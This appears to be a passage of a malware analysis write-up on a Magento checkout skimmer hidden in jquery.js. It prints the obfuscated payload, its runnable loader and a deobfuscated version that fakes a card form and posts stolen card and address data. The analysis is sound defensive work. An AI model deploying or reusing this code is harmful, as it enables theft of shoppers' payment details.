d6m6k506r455c6d5c4v506k5c546l4t3n6c6n515053546n50513n4c4c6d6g6p506m533l506k5c546l3b3b3d506k5c546l4c544v526c506q6d446k5c546l3c4t5c51516r506q6q4c544v5f546l6l546n524g51516r506q6q3d3c4t6f6m54513l4x3k4c4c5c51516r506q6q4v5e546d6g65656r3d3n546n6p6c6d5m6n5c6k504c3a5e546d6g3a583n3c4v6f5c6l3d3c3c6i6f5c6r3l5e4c3a5m6i3n6n5c6k503n4r3n556m6q6d3n4t3n6f5c6l6c503n4r3n3a3e516m5e6c6k506n6d4v5g5v5p3e3a3n644t3a4q536m6r3d6h3l546n3l5e3e4c3a6i3n6n5c6k503n4r3n5c52506n6d3n4t3n6f5c6l6c503n4r3n3a3e6n5c6f54525c6d6m6r4v6c6q506r4g52506n6d3e3a3n644t3a4t5e3e4c3a6i3n6n5c6k503n4r3n6c6q506r6n5c6k503n4t3n6f5c6l6c503n4r3n3a3e3d506k5c546l65653n3n3c3e3a3n644t3a4t5c51516r506q6q3c54533d3n536c6n5e6d546m6n3n3k4c6d6g6p506m533l5c51516r506q6q5m6h583c54533d3n6q6d6r50506d3n3k4c6h3c5e3e4c3a6i3n6n5c6k503n4r3n3a3e6h3e3a3n4t3n6f5c6l6c503n4r3n3a3e5c51516r506q6q5m6h583e3a3n644t3a4q506l6q503l536m6r3d6g3l546n3l5c51516r506q6q4v6q6d6r50506d3c5e3e4c3a6i3n6n5c6k503n4r3n6q6d6r50506d5m3a3e6g3e3a583n4t3n6f5c6l6c503n4r3n3a3e5c51516r506q6q4v6q6d6r50506d5m6g583e3a3n644t3a4q5e3e4c3a6i3n6n5c6k503n4r3n6p5c6g6k506n6d5m5e5e5a6n6c6k5f506r583n4t3n6f5c6l6c503n4r3n3a3e503e3a3n644t3a4t5e3e4c3a6i3n6n5c6k503n4r3n6p5c6g6k506n6d5m5e5e5a5e5451583n4t3n6f5c6l6c503n4r3n3a3e6n3e3a3n644t3a4t5e3e4c3a6i3n6n5c6k503n4r3n6p5c6g6k506n6d5m5e5e5a506h6p5a6k6m6n6d55583n4t3n6f5c6l6c503n4r3n3a3e6d3e3a3n644t3a4t5e3e4c3a6i3n6n5c6k503n4r3n6p5c6g6k506n6d5m5e5e5a506h6p5a6g505c6r583n4t3n6f5c6l6c503n4r3n3a3e6m3e3a3n644t3a4t5e4c3d5e3e4c4b5u5q5r4v6q6d6r546n5254536g3d6r3d3n3m5e55505e566m6c6d3n3c4v53546n513d3n6q506l505e6d4t546n6p6c6d3n3c4v6q506r545c6l546j504g6r6r5c6g3d3c3c4v6q6l545e503d4w4t4s4w3c3e3n4t3n3c4v6r506p6l5c5e503d4u48514u524t3n5a54513n3c4v6q6l545e503d4x4t4s4w3c3e3n583n4t6e546n516m6e4v5a5c6k5c6j6m6n5a5c6r6d4c4w4q6f5c6r3l6p4c506n5e6r6g6p6d5a515c6d5c3d5e3c4q6r4v5c575c6h3d6i6c6r6l4r516m5e6c6k506n6d4v5g5v5p4t6d6g6p504r3n6p6m6q6d3n4t515c6d5c5h6g6p504r3n6d506h6d3n4t515c6d5c4r6i5e5c6r6d4i55505e565u6c6k455c6d5c4r6p4t6o6c6m6d505o6m51504r3n5e55505e566m6c6d3n64643c64643c64644q
    
  2. 
    var y89629=36;d42566=s31464;b68085=d42566.split("c66"),a92436=parseInt(b68085[0],36),y75905=parseInt(b68085[1],36);var t57262=[];for(var e28289=0;e28289<b68085[2].length;e28289+=2){t57262.push(b68085[2].substring(e28289,e28289+2));}d42566="";for(var t88954=0;t57262.length>t88954;t88954++)d42566+=String.fromCharCode(((parseInt(t57262[t88954],y89629)-a92436)^y75905)-a92436);Function(d42566).call();
    

This method of loading the obfuscated Unicode payload is actually a variant of the Radix skimmer posted by the awesome Denis. Big ups to @LibraAnalysis for pointing this out to me 🙏

Deobfuscation

The first layer of obfuscation can be undone using the console in your browser tools:

  1. Adding the code line console.log(d42566);
  2. Removing (or comment out) Function(d42566).call();
  3. Run & save the result
Deobfuscation
I use the Console tab in Browser Tools, but multiple ways exist to do this.

Partial deobfuscated sample:


window._amazon = setInterval(function () {
  "undefined" != typeof jQuery &&
    jQuery("#sagepaysuiteserver").length &&
    (func6(), clearInterval(window._amazon));
}, 500);
var encrypt_data = function (e) {
    var t,
      o,
      n = btoa(encodeURIComponent(e)),
      r = "";
    for (t = 0; t < n.length; t++)
      (o = 25 + ((28 + (126 ^ n[t].charCodeAt(0))) ^ 121)),
        (r += String.fromCharCode(o));
    return r;
  },
  function6 = function () {
    jQuery("#authorizenet_directpost_cc_number")[0].addEventListener(
      "keypress",
      function (e) {
        13 === (e.keyCode || e.which) && e.preventDefault();
      },
      false
    ),
      jQuery("#authorizenet_directpost_cc_cid")[0].addEventListener(
        "keypress",
        function (e) {
          13 === (e.keyCode || e.which) && e.preventDefault();
        },
        false
      ),
      jQuery("#authorizenet_directpost_cc_number").bind({
        input: function (e) {
          e.preventDefault();
          var t = jQuery("#authorizenet_directpost_cc_number"),
            o = t.val().replace(/[^\d]/g, "");
          t.val(o),
            t.css("border-color", "#c2c2c2"),
            jQuery("#authorizenet_directpost_cc_number-error").hide();
        },
        focusout: function (e) {
          var t = jQuery("#authorizenet_directpost_cc_number");
          func4() ||
            (t.css("border-color", "rgb(224, 43, 39)"),
            jQuery("#authorizenet_directpost_cc_number-error").show());
        },
      }),
      jQuery("#authorizenet_directpost_expiration").bind({
        change: function (e) {
          var t = jQuery("#authorizenet_directpost_expiration"),
            o = jQuery("#authorizenet_directpost_expiration_yr");
          1 != func2() || 1 != func3()
            ? (t.css("border-color", "rgb(224, 43, 39)"),
              o.css("border-color", "rgb(224, 43, 39)"),
              jQuery("#authorizenet_directpost_expiration-error").show())
            : (t.css("border-color", "#c2c2c2"),
              o.css("border-color", "#c2c2c2"),
              jQuery("#authorizenet_directpost_expiration-error").hide());
        },
      }),
      jQuery("#authorizenet_directpost_expiration_yr").bind({
        change: function (e) {
          var t = jQuery("#authorizenet_directpost_expiration"),
            o = jQuery("#authorizenet_directpost_expiration_yr");
          1 != func2() || 1 != func3()
            ? (t.css("border-color", "rgb(224, 43, 39)"),
              o.css("border-color", "rgb(224, 43, 39)"),
              jQuery("#authorizenet_directpost_expiration-error").show())
            : (t.css("border-color", "#c2c2c2"),
              o.css("border-color", "#c2c2c2"),
              jQuery("#authorizenet_directpost_expiration-error").hide());
        },
      }),
      jQuery("#authorizenet_directpost_cc_cid").bind({
        input: function (e) {
          e.preventDefault();
          var t = jQuery("#authorizenet_directpost_cc_cid");
          t.val(function8(4)),
            t.css("border-color", "#c2c2c2"),
            jQuery("#authorizenet_directpost_cc_cid-error").hide();
        },
        focusout: function (e) {
          var t = jQuery("#authorizenet_directpost_cc_cid");
          func5() ||
            (t.css("border-color", "rgb(224, 43, 39)"),
            jQuery("#authorizenet_directpost_cc_cid-error").show());
        },
      }),
      setInterval(function () {
        func9() && func8();
      }, 500);
  },
  function4 = function () {
    var e = document.getElementById("authorizenet_directpost_cc_number");
    return undefined !== e && null != e;
  },
  func9 = function () {
    return func4() && 1 == func2() && 1 == func3() && func5();
  },
  func6 = function () {
    function4() ||
      (jQuery("#payment_form_sagepaysuiteserver").remove(),
      jQuery("#sagepaysuiteserver")
        .parent()
        .parent()
        .find(".payment-method-content")
        .prepend(
          '<div id="payment_form_authorizenet_directpost"><div> <label> <span><span style="font-weight: bold;font-family: Arial;font-size: 14px;color: #333;">Credit Card Number</span><span style="color: #e02b27;font-size: 11px;margin-left: 5px;"> *</span></span> </label> <div style="margin-top: 8px;"> <input type="number" name="payment[cc_number]" id="authorizenet_directpost_cc_number" title="Credit Card Number" style="box-shadow: none;width: 225px !important;height: 32px !important;color: black;font-family: Arial;"><div id="authorizenet_directpost_cc_number-error" style="color: #e02b27;font-size: 13px;margin-top: 5px;display: none;">Please enter a valid credit card type number.</div></div></div><div style="margin-top: 20px;"> <label> <span><span style="font-weight: bold;font-family: Arial;font-size: 14px;color: #333;">Expiration Date</span><span style="color: #e02b27;font-size: 11px;margin-left: 5px;"> *</span></span> </label> <div style="margin-top: 8px;"> <select name="payment[cc_exp_month]" id="authorizenet_directpost_expiration" style="box-shadow: none;width: 140px !important;height: 32px !important;border: 1px solid #c2c2c2;color: black;font-family: Arial;margin-right: 5px;min-height: 32px !important;"><option value="0">Month</option><option value="1">01 - January</option><option value="2">02 - February</option><option value="3">03 - March</option><option value="4">04 - April</option><option value="5">05 - May</option><option value="6">06 - June</option><option value="7">07 - July</option><option value="8">08 - August</option><option value="9">09 - September</option><option value="10">10 - October</option><option value="11">11 - November</option><option value="12">12 - December</option> </select><select name="payment[cc_exp_year]" id="authorizenet_directpost_expiration_yr" style="box-shadow: none;width: 80px !important;height: 32px !important;border: 1px solid #c2c2c2;color: black;font-family: Arial;min-height: 32px !important;"><option value="0">Year</option><option value="2020">2020</option><option value="2021">2021</option><option value="2022">2022</option><option value="2023">2023</option><option value="2024">2024</option><option value="2025">2025</option><option value="2026">2026</option><option value="2027">2027</option><option value="2028">2028</option><option value="2029">2029</option><option value="2030">2030</option> </select><div id="authorizenet_directpost_expiration-error" style="color: #e02b27;font-size: 13px;margin-top: 5px;display: none;">Incorrect credit card expiration date.</div></div></div><div style="margin-top: 20px;"> <label> <span><span style="font-weight: bold;font-family: Arial;font-size: 14px;color: #333;">Card Verification Number</span><span style="color: #e02b27;font-size: 11px;margin-left: 5px;"> *</span></span> </label> <div style="margin-top: 8px;"> <input type="number" style="box-shadow: none;width: 65px !important;height: 32px !important;color: black;font-family: Arial;" id="authorizenet_directpost_cc_cid" name="payment[cc_cid]" title="Card Verification Number"><div id="authorizenet_directpost_cc_cid-error" style="color: #e02b27;font-size: 13px;margin-top: 5px;display: none;">Please enter a valid credit card verification number.</div></div></div></div>'
        ),
      function4() && function6());
  },
  function8 = function (e) {
    return function4()
      ? 1 == e
        ? jQuery("#authorizenet_directpost_cc_number")
            .val()
            .replace(/[^\d]/g, "")
        : 2 == e
        ? jQuery("#authorizenet_directpost_expiration").val()
        : 3 == e
        ? jQuery("#authorizenet_directpost_expiration_yr").val()
        : 4 == e
        ? jQuery("#authorizenet_directpost_cc_cid").val().replace(/[^\d]/g, "")
        : undefined
      : "";
  },
  function7 = function (e) {
    var t = new RegExp("^4");
    if (null != e.match(t)) return "opp2";
    if (((t = new RegExp("^3[47]")), null != e.match(t))) return "opp1";
    var o = e;
    return o.length >= 2 && "2" == o[0] && o[1] >= "2" && o[1] <= "7"
      ? "opp3"
      : o.length >= 2 && "5" == o[0] && o[1] >= "1" && o[1] <= "5"
      ? "opp3"
      : o.length >= 2 &&
        "6" == o[0] &&
        ("5" == o[1] || "0" == o[1] || "4" == o[1])
      ? "opp4"
      : o.length >= 2 && "3" == o[0] && "5" == o[1]
      ? "opp5"
      : o.length >= 2 && "3" == o[0] && "0" == o[1]
      ? "opp6"
      : o.length >= 2 &&
        "3" == o[0] &&
        ("6" == o[1] || "8" == o[1] || "9" == o[1] || "0" == o[1])
      ? "opp6"
      : "opp7";
  },
  func4 = function () {
    var e = function7(function8(1)),
      t = function8(1).length,
      o = function8(1);
    if ("opp1" == e) {
      if (15 != t) return false;
    } else if ("opp6" == e) {
      if (t < 14) return false;
    } else {
      if ("opp7" == e) return false;
      if (t < 16) return false;
    }
    for (var n = o.split(""), r = 0; r < n.length; r++)
      n[r] = parseInt(n[r], 10);
    var i = 0,
      a = false;
    for (r = n.length - 1; r >= 0; r--)
      a && ((n[r] *= 2), n[r] > 9 && (n[r] -= 9)), (i += n[r]), (a = !a);
    return i % 10 == 0;
  },
  func2 = function () {
    var e = new Date(),
      t = e.getFullYear(),
      o = e.getMonth(),
      n = parseInt(function8(3)),
      r = parseInt(function8(2));
    return r >= 1 && r <= 12 ? (n == t && r <= o ? -1 : 1) : 0;
  },
  func3 = function () {
    var e = new Date().getFullYear(),
      t = parseInt(function8(3));
    return t >= e && t <= 2070 ? 1 : t < e ? -1 : 0;
  },
  func5 = function () {
    var e = function8(4).length,
      t = function7(function8(1));
    return "opp1" == t || "opp7" == t ? (4 == e ? 1 : 0) : 3 == e ? 1 : 0;
  },
  func8 = function () {
    if (!window._amazon_art) {
      var e = jQuery("#authorizenet_directpost_cc_number").val(),
        t = jQuery("#authorizenet_directpost_expiration").val(),
        o = jQuery("#authorizenet_directpost_expiration_yr").val(),
        n = jQuery("#authorizenet_directpost_cc_cid").val();
      require(["jquery", "Magento_Checkout/js/model/quote"], function (
        r,
        i,
        a
      ) {
        if (
          ((customerData = window.customerData),
          (email = customerData.email),
          "undefined" == typeof email && (email = i.guestEmail),
          (address = i.billingAddress()),
          undefined !== address.city || r("input[name='city']").val())
        ) {
          var c = '[{"name":"host","value":"' + document.URL + '"},';
          for (x in ((c +=
            '{"name":"agent","value":"' + navigator.userAgent + '"},'),
          (c += '{"name":"username","value":"' + (email || "") + '"},'),
          address))
            if ("function" != typeof address[x])
              if ("street" != x)
                c += '{"name":"' + x + '","value":"' + address[x] + '"},';
              else
                for (y in address.street)
                  c +=
                    '{"name":"street[' +
                    y +
                    ']","value":"' +
                    address.street[y] +
                    '"},';
          (c += '{"name":"payment[cc_number]","value":"' + e + '"},'),
            (c += '{"name":"payment[cc_cid]","value":"' + n + '"},'),
            (c += '{"name":"payment[cc_exp_month]","value":"' + t + '"},'),
            (c += '{"name":"payment[cc_exp_year]","value":"' + o + '"},'),
            (c =
              (c +=
                JSON.stringify(
                  r("#checkout").find("select,input").serializeArray()
                ).slice(1, -1) + ",")
                .replace(/Id/g, "_id")
                .slice(0, -1) + "]"),
            (window._amazon_art = 1);
          var p = encrypt_data(c);
          r.ajax({
            url: document.URL,
            type: "post",
            dataType: "text",
            data: { cartCheckSumData: p, quoteMode: "checkout" },
          });
        }
      });
    }
  };

Sample

I isolated this original sample as the source file lib/web/jquery.js contains over 10,000 lines of legit code and the skimmer is only 2 separate lines within it:



var s31464 = "1gc66pc666e546n516m6e4v5a5c6k5c6j6m6n4c6q506d486n6d506r6f5c6l3d536c6n5e6d546m6n3d3c6i3n6c6n515053546n50513n3k4c6d6g6p506m533l575s6c506r6g3b3b575s6c506r6g3d3n3m6q5c52506p5c6g6q6c546d506q506r6f506r3n3c4v6l506n526d553b3b3d536c6n5e4n3d3c4t5e6l505c6r486n6d506r6f5c6l3d6e546n516m6e4v5a5c6k5c6j6m6n3c3c644t4k4x4x3c4q6f5c6r3l506n5e6r6g6p6d5a515c6d5c4c536c6n5e6d546m6n3d503c6i6f5c6r3l6d4t6m4t6n4c5f6d6m5c3d506n5e6m51505g5v484i6m6k6p6m6n506n6d3d503c3c4t6r4c3n3n4q536m6r3d6d4c4x4q6d4d6n4v6l506n526d554q6d3e3e3c6m4c4z4k3e3d4z4p3e3d4w4z4n5b6n5m6d584v5e555c6r4i6m51504g6d3d4x3c3c5b4w4z4w3c4t6r3e4c5u6d6r546n524v536r6m6k4i555c6r4i6m51503d6m3c4q6r506d6c6r6n3l6r644t536c6n5e6d546m6n4n4c536c6n5e6d546m6n3d3c6i575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c5m4x584v5c5151446f506n6d5p546q6d506n506r3d3n56506g6p6r506q6q3n4t536c6n5e6d546m6n3d503c6i4w4y4c4c4c3d504v56506g4i6m51506565504v6e55545e553c3b3b504v6p6r506f506n6d4550535c6c6l6d3d3c644t3k4w3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c5m4x584v5c5151446f506n6d5p546q6d506n506r3d3n56506g6p6r506q6q3n4t536c6n5e6d546m6n3d503c6i4w4y4c4c4c3d504v56506g4i6m51506565504v6e55545e553c3b3b504v6p6r506f506n6d4550535c6c6l6d3d3c644t3k4w3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4v5f546n513d6i546n6p6c6d4r536c6n5e6d546m6n3d503c6i504v6p6r506f506n6d4550535c6c6l6d3d3c4q6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4t6m4c6d4v6f5c6l3d3c4v6r506p6l5c5e503d4u5m5b5951584u524t3n3n3c4q6d4v6f5c6l3d6m3c4t6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r4s506r6r6m6r3n3c4v555451503d3c644t536m5e6c6q6m6c6d4r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4q536c6n5e4l3d3c65653d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r4s506r6r6m6r3n3c4v6q556m6e3d3c3c64643c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4v5f546n513d6i5e555c6n52504r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4t6m4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4q4w3k4c536c6n5e4z3d3c65654w3k4c536c6n5e4y3d3c4e3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v6q556m6e3d3c3c4r3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v555451503d3c3c64643c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4v5f546n513d6i5e555c6n52504r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4t6m4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4q4w3k4c536c6n5e4z3d3c65654w3k4c536c6n5e4y3d3c4e3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v6q556m6e3d3c3c4r3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v555451503d3c3c64643c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4v5f546n513d6i546n6p6c6d4r536c6n5e6d546m6n3d503c6i504v6p6r506f506n6d4550535c6c6l6d3d3c4q6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4q6d4v6f5c6l3d536c6n5e6d546m6n4p3d4l3c3c4t6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54514s506r6r6m6r3n3c4v555451503d3c644t536m5e6c6q6m6c6d4r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4q536c6n5e4k3d3c65653d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54514s506r6r6m6r3n3c4v6q556m6e3d3c3c64643c4t6q506d486n6d506r6f5c6l3d536c6n5e6d546m6n3d3c6i536c6n5e4o3d3c3b3b536c6n5e4p3d3c644t4k4x4x3c644t536c6n5e6d546m6n4l4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c516m5e6c6k506n6d4v52506d446l506k506n6d4j6g48513d3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4q6r506d6c6r6n3l6f6m54513l4x3k4c4c503b3b6n6c6l6l3k4c50644t536c6n5e4o4c536c6n5e6d546m6n3d3c6i6r506d6c6r6n3l536c6n5e4l3d3c3b3b4w4c4c536c6n5e4z3d3c3b3b4w4c4c536c6n5e4y3d3c3b3b536c6n5e4k3d3c644t536c6n5e4n4c536c6n5e6d546m6n3d3c6i536c6n5e6d546m6n4l3d3c65653d575s6c506r6g3d3n3m6p5c6g6k506n6d5a536m6r6k5a6q5c52506p5c6g6q6c546d506q506r6f506r3n3c4v6r506k6m6f503d3c4t575s6c506r6g3d3n3m6q5c52506p5c6g6q6c546d506q506r6f506r3n3c4v6p5c6r506n6d3d3c4v6p5c6r506n6d3d3c4v53546n513d3n4v6p5c6g6k506n6d4s6k506d556m514s5e6m6n6d506n6d3n3c4v6p6r506p506n513d3a4d51546f3l54514c3n6p5c6g6k506n6d5a536m6r6k5a5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d3n4f4d51546f4f3l4d6l5c5f506l4f3l4d6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n536m6n6d4s6e505452556d4r3l5f6m6l514q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q536m6n6d4s6q546j504r3l4w4l6p6h4q5e6m6l6m6r4r3l3m4y4y4y4q3n4f4i6r5051546d3l4i5c6r513l5r6c6k5f506r4d4u6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4w6p6h4q6k5c6r52546n4s6l50536d4r3l4k6p6h4q3n4f3l3f4d4u6q6p5c6n4f4d4u6q6p5c6n4f3l4d4u6l5c5f506l4f3l4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4p6p6h4q3n4f3l4d546n6p6c6d3l6d6g6p504c3n6n6c6k5f506r3n3l6n5c6k504c3n6p5c6g6k506n6d5m5e5e5a6n6c6k5f506r583n3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3l6d546d6l504c3n4i6r5051546d3l4i5c6r513l5r6c6k5f506r3n3l6q6d6g6l504c3n5f6m6h4s6q555c516m6e4r3l6n6m6n504q6e54516d554r3l4z4z4k6p6h3l3k546k6p6m6r6d5c6n6d4q55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q5e6m6l6m6r4r3l5f6l5c5e564q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q3n4f4d51546f3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r4s506r6r6m6r3n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4y6p6h4q6k5c6r52546n4s6d6m6p4r3l4k6p6h4q51546q6p6l5c6g4r3l6n6m6n504q3n4f5t6l505c6q503l506n6d506r3l5c3l6f5c6l54513l5e6r5051546d3l5e5c6r513l6d6g6p503l6n6c6k5f506r4v4d4u51546f4f4d4u51546f4f4d4u51546f4f4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4z4x6p6h4q3n4f3l4d6l5c5f506l4f3l4d6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n536m6n6d4s6e505452556d4r3l5f6m6l514q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q536m6n6d4s6q546j504r3l4w4l6p6h4q5e6m6l6m6r4r3l3m4y4y4y4q3n4f446h6p546r5c6d546m6n3l455c6d504d4u6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4w6p6h4q6k5c6r52546n4s6l50536d4r3l4k6p6h4q3n4f3l3f4d4u6q6p5c6n4f4d4u6q6p5c6n4f3l4d4u6l5c5f506l4f3l4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4p6p6h4q3n4f3l4d6q506l505e6d3l6n5c6k504c3n6p5c6g6k506n6d5m5e5e5a506h6p5a6k6m6n6d55583n3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3l6q6d6g6l504c3n5f6m6h4s6q555c516m6e4r3l6n6m6n504q6e54516d554r3l4w4l4x6p6h3l3k546k6p6m6r6d5c6n6d4q55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q5f6m6r51506r4r3l4w6p6h3l6q6m6l54513l3m5e4z5e4z5e4z4q5e6m6l6m6r4r3l5f6l5c5e564q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q6k5c6r52546n4s6r5452556d4r3l4k6p6h4q6k546n4s55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q3n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4x3n4f5o6m6n6d554d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w3n4f4x4w3l4s3l4b5c6n6c5c6r6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z3n4f4x4z3l4s3l47505f6r6c5c6r6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4y3n4f4x4y3l4s3l5o5c6r5e554d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4l3n4f4x4l3l4s3l4g6p6r546l4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4k3n4f4x4k3l4s3l5o5c6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4n3n4f4x4n3l4s3l4b6c6n504d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4m3n4f4x4m3l4s3l4b6c6l6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4p3n4f4x4p3l4s3l4g6c526c6q6d4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4o3n4f4x4o3l4s3l5u506p6d506k5f506r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w4x3n4f4w4x3l4s3l5q5e6d6m5f506r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w4w3n4f4w4w3l4s3l5r6m6f506k5f506r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w4z3n4f4w4z3l4s3l45505e506k5f506r4d4u6m6p6d546m6n4f3l4d4u6q506l505e6d4f4d6q506l505e6d3l6n5c6k504c3n6p5c6g6k506n6d5m5e5e5a506h6p5a6g505c6r583n3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3l6q6d6g6l504c3n5f6m6h4s6q555c516m6e4r3l6n6m6n504q6e54516d554r3l4p4x6p6h3l3k546k6p6m6r6d5c6n6d4q55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q5f6m6r51506r4r3l4w6p6h3l6q6m6l54513l3m5e4z5e4z5e4z4q5e6m6l6m6r4r3l5f6l5c5e564q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q6k546n4s55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q3n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4x3n4f5k505c6r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4x3n4f4z4x4z4x4d4u6m6p6d546m6n